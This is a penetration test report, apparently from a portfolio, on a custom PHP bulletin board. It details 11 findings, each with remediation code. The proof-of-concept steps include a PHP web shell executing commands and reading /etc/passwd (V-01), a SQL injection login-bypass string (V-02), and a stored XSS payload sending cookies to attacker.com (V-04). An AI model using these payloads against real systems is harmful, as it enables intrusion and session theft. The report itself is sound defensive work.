Security Assessment Report
Penetration Test — LAMP
Bulletin Board System
Black-box & Gray-box Assessment · Web Application Security
Assessed By
Jihun Baek
Assessment Period
January – February 2025
Target System
LAMP Stack Web Application
Total Findings
11 Vulnerabilities
Methodology
OWASP Testing Guide
← Back to Portfolio
3
Critical
4
High
3
Medium
11
Total
1. Executive Summary

A black-box and gray-box penetration test was conducted against a custom LAMP (Linux, Apache, MySQL, PHP) bulletin board application deployed on AWS Lightsail. The objective was to assess the security posture of the application and identify vulnerabilities that could be exploited by an unauthenticated or low-privileged attacker.

The assessment identified 11 vulnerabilities of varying severity, including three critical findings — Remote Code Execution via file upload, authentication bypass via SQL injection, and hardcoded database credentials — any of which would allow a remote attacker to fully compromise the system without prior access.

All findings were remediated following discovery. Detailed proof-of-concept reproduction steps and patched source code are provided for each finding below.

2. Scope & Methodology
ItemDetail
TargetCustom PHP bulletin board (LAMP stack, AWS Lightsail)
ScopeWeb application — authentication, session management, file upload, post CRUD, admin panel
Assessment TypeBlack-box (initial) + Gray-box (source code review for patch verification)
MethodologyOWASP Testing Guide v4, manual testing, Burp Suite Community
Tools UsedBurp Suite, browser DevTools, manual SQL/XSS payload crafting
EnvironmentIsolated test environment — no production data at risk
3. Findings Index
4. Detailed Findings
V-01 Remote Code Execution via File Upload
Critical
OWASP:A03 Injection / A05 Security Misconfiguration
CVSS:9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Location:create_posts.php — file upload handler
Description
The file upload function validated extensions using a client-side blacklist, which was trivially bypassed by renaming .php to .PHP or .php5. The upload directory was also accessible via directory listing (V-07), allowing an attacker to locate and execute the uploaded web shell.
Vulnerable Code
// Weak blacklist — case-sensitive, bypassable $disallowed = ['php', 'php5', 'phtml']; if (in_array($ext, $disallowed)) { die("Not allowed"); } // .PHP and .Php are not in the list — bypass succeeds
Proof of Concept
  • 01Create a PHP web shell: <?php system($_GET['cmd']); ?> saved as shell.PHP
  • 02Upload via the post creation form — server accepts the file
  • 03Browse to the upload directory (exposed via directory listing) to locate the file path
  • 04Execute: http://target/uploads/shell.PHP?cmd=id returns www-data
  • 05Further escalation: ?cmd=cat+/etc/passwd, reverse shell, etc.
Remediation
// Whitelist approach — only explicitly allowed types pass $allowed = ['jpg', 'jpeg', 'png', 'gif']; $finfo = finfo_open(FILEINFO_MIME_TYPE); $mimeType = finfo_file($finfo, $_FILES['file']['tmp_name']); if (!in_array(strtolower($ext), $allowed) || !in_array($mimeType, $allowedMimes)) { die("File type not permitted."); } // Also add to .htaccess in upload dir: php_flag engine off
✓ Patched: Implemented MIME-type whitelist validation; added php_flag engine off in the uploads directory .htaccess to prevent script execution regardless of extension.
V-02 Authentication Bypass via SQL Injection
Critical
OWASP:A03 Injection
CVSS:9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
Location:login.php — authentication query
Description
User input was concatenated directly into the SQL query without parameterisation, allowing an attacker to inject SQL logic that bypasses password verification entirely and authenticates as the first user (typically the administrator).
Vulnerable Code
$sql = "SELECT * FROM users WHERE username LIKE '%" . $username . "%'"; // No sanitisation — user input lands verbatim in the query
Proof of Concept
  • 01Enter ' OR '1'='1' -- in the username field, any value in the password field
  • 02The resulting query: SELECT * FROM users WHERE username LIKE '%' OR '1'='1' --%'
  • 03Always evaluates to true — returns the first row (administrator account)
  • 04Attacker is logged in as admin with no valid credentials
Remediation
// Prepared statement — data and query structure are separated $stmt = $conn->prepare("SELECT * FROM users WHERE username = ?"); $stmt->bind_param("s", $username); $stmt->execute(); $result = $stmt->get_result();
✓ Patched: All database queries converted to prepared statements with bound parameters.
V-03 Hardcoded Database Credentials
Critical
OWASP:A02 Cryptographic Failures / A05 Security Misconfiguration
CVSS:9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
Location:db_connect.php
Description
Database hostname, username, and password were hardcoded in plain text in PHP source files tracked in the version control repository. Combined with directory listing (V-07) or a source code leak, this would provide direct database access credentials to an attacker.
Vulnerable Code
$host = "localhost"; $db = "knockon_db"; $user = "knockon_user"; $pass = "SuperSecret123!"; // Hardcoded in source — committed to git
Remediation
// Load credentials from environment variables $host = getenv('DB_HOST'); $db = getenv('DB_NAME'); $user = getenv('DB_USER'); $pass = getenv('DB_PASS'); // Store in .env file — add .env to .gitignore
✓ Patched: Credentials moved to .env file; .env added to .gitignore; production values rotated.
V-04 Stored Cross-Site Scripting (XSS)
High
OWASP:A03 Injection
CVSS:7.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N)
Location:create_posts.php, list_posts.php
Description
Post titles and content were stored in the database without sanitisation and rendered in the browser without output encoding. An attacker with a low-privileged account could inject a persistent script that executes in any victim's browser, enabling session hijacking, credential theft, or malware delivery.
Proof of Concept
  • 01Create a new post with title: <script>document.location='http://attacker.com/steal?c='+document.cookie</script>
  • 02Any user who views the posts list triggers the script
  • 03Session cookie is sent to the attacker's server, enabling session hijacking
Remediation
// Escape all user-supplied output before rendering echo "<h3>" . htmlspecialchars($row['title'], ENT_QUOTES, 'UTF-8') . "</h3>"; echo "<p>" . htmlspecialchars($row['content'], ENT_QUOTES, 'UTF-8') . "</p>";
✓ Patched: htmlspecialchars() applied to all user-controlled output; Content-Security-Policy header added.
V-05 Insecure Direct Object Reference (IDOR)
High
OWASP:A01 Broken Access Control
CVSS:7.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
Location:edit_post.php, delete_post.php
Description
Post edit and delete endpoints accepted a post_id URL parameter without verifying that the requesting user owned the post. Any authenticated user could modify or delete any other user's content by changing the ID in the URL.
Proof of Concept
  • 01Log in as user_a, navigate to your own post at edit_post.php?id=42
  • 02Change URL to edit_post.php?id=41 (another user's post)
  • 03Edit form loads with the victim's post content — changes can be saved or post deleted
Remediation
// Verify ownership before allowing edit or delete $stmt = $conn->prepare("SELECT user_id FROM posts WHERE id = ?"); $stmt->bind_param("i", $post_id); $stmt->execute(); $post = $stmt->get_result()->fetch_assoc(); if ($post['user_id'] !== $_SESSION['user_id']) { http_response_code(403); die("Access denied."); }
✓ Patched: Ownership verification added to all post mutation endpoints.
V-06 Session Fixation & Missing Session Timeout
High
OWASP:A07 Identification and Authentication Failures
CVSS:7.0 (AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L)
Location:login.php — session initialisation
Description
The session ID was not regenerated upon successful login, allowing a pre-authentication session fixation attack. Additionally, sessions had no expiry time, meaning stolen session tokens remained valid indefinitely.
Remediation
// Regenerate session ID on privilege change (login) session_start(); session_regenerate_id(true); // delete old session // Set session timeout (30 minutes) ini_set('session.gc_maxlifetime', 1800); session_set_cookie_params(1800);
✓ Patched: Session ID regenerated on login; 30-minute inactivity timeout implemented; HttpOnly and Secure flags set on session cookie.
V-07 Directory Listing Enabled
High
OWASP:A05 Security Misconfiguration
Location:Apache /etc/apache2/apache2.conf
Description
Apache's Options Indexes was enabled on the web root and upload directories, allowing unauthenticated users to browse all files including uploaded content, .git artifacts, and configuration files.
Remediation
# Apache config — disable directory listing globally <Directory /var/www/html> Options -Indexes AllowOverride All </Directory>
✓ Patched: Options -Indexes set in Apache configuration; .git directory access blocked via .htaccess.
V-08PHP Configuration Exposure
Medium
OWASP:A05 Security Misconfiguration
Location:php.ini / phpinfo()
PHP error display was enabled in production (display_errors = On), and a phpinfo() call was publicly accessible, exposing PHP version, loaded modules, server paths, and configuration values — all useful to an attacker for targeted exploitation.
Remediation
✓ Patched: display_errors = Off; log_errors = On; phpinfo() removed from production; PHP version hidden from HTTP headers.
V-09No Rate Limiting on Login (Brute-Force)
Medium
OWASP:A07 Identification and Authentication Failures
Location:login.php
The login endpoint had no rate limiting, account lockout, or CAPTCHA mechanism. An attacker could perform unlimited password guessing attempts against any account with no observable defence.
Remediation
✓ Patched: Failed attempt counter stored in session; account locked for 15 minutes after 5 consecutive failures; lockout state persisted in database per username and IP.
V-10Missing CSRF Protection on State-Changing Actions
Medium
OWASP:A01 Broken Access Control
Location:All POST forms (create, edit, delete)
No CSRF tokens were present on any forms. A malicious site could craft a hidden form that triggers authenticated actions (post creation, deletion) in a logged-in user's session.
Remediation
✓ Patched: Cryptographically random CSRF token generated per session, embedded in all state-changing forms, and validated server-side before processing any POST request.
V-11Verbose Error Messages Leaking Stack Traces
Low
OWASP:A05 Security Misconfiguration
Unhandled exceptions rendered full stack traces in the browser, including file paths, line numbers, and SQL query fragments — providing an attacker with a detailed map of the application's internal structure.
Remediation
✓ Patched: Global exception handler implemented; all errors logged server-side only; generic error pages shown to users.
5. Conclusion & Risk Summary

The assessment revealed that the application was vulnerable to a full chain of compromise from an unauthenticated attacker: directory listing exposed the upload path, file upload bypass enabled remote code execution, and hardcoded credentials provided direct database access. All three critical vulnerabilities independently represented a total system compromise scenario.

All 11 vulnerabilities were remediated following discovery through a combination of input validation, parameterised queries, secure session management, and server hardening. The patched application demonstrates how a Secure SDLC mindset — applying OWASP best practices from the development stage — eliminates entire vulnerability classes rather than addressing symptoms individually.

Remote Code Execution (V-01)Critical
Authentication Bypass — SQLi (V-02)Critical
Stored XSS (V-04)High
IDOR (V-05)High
Brute-Force — No Rate Limit (V-09)Medium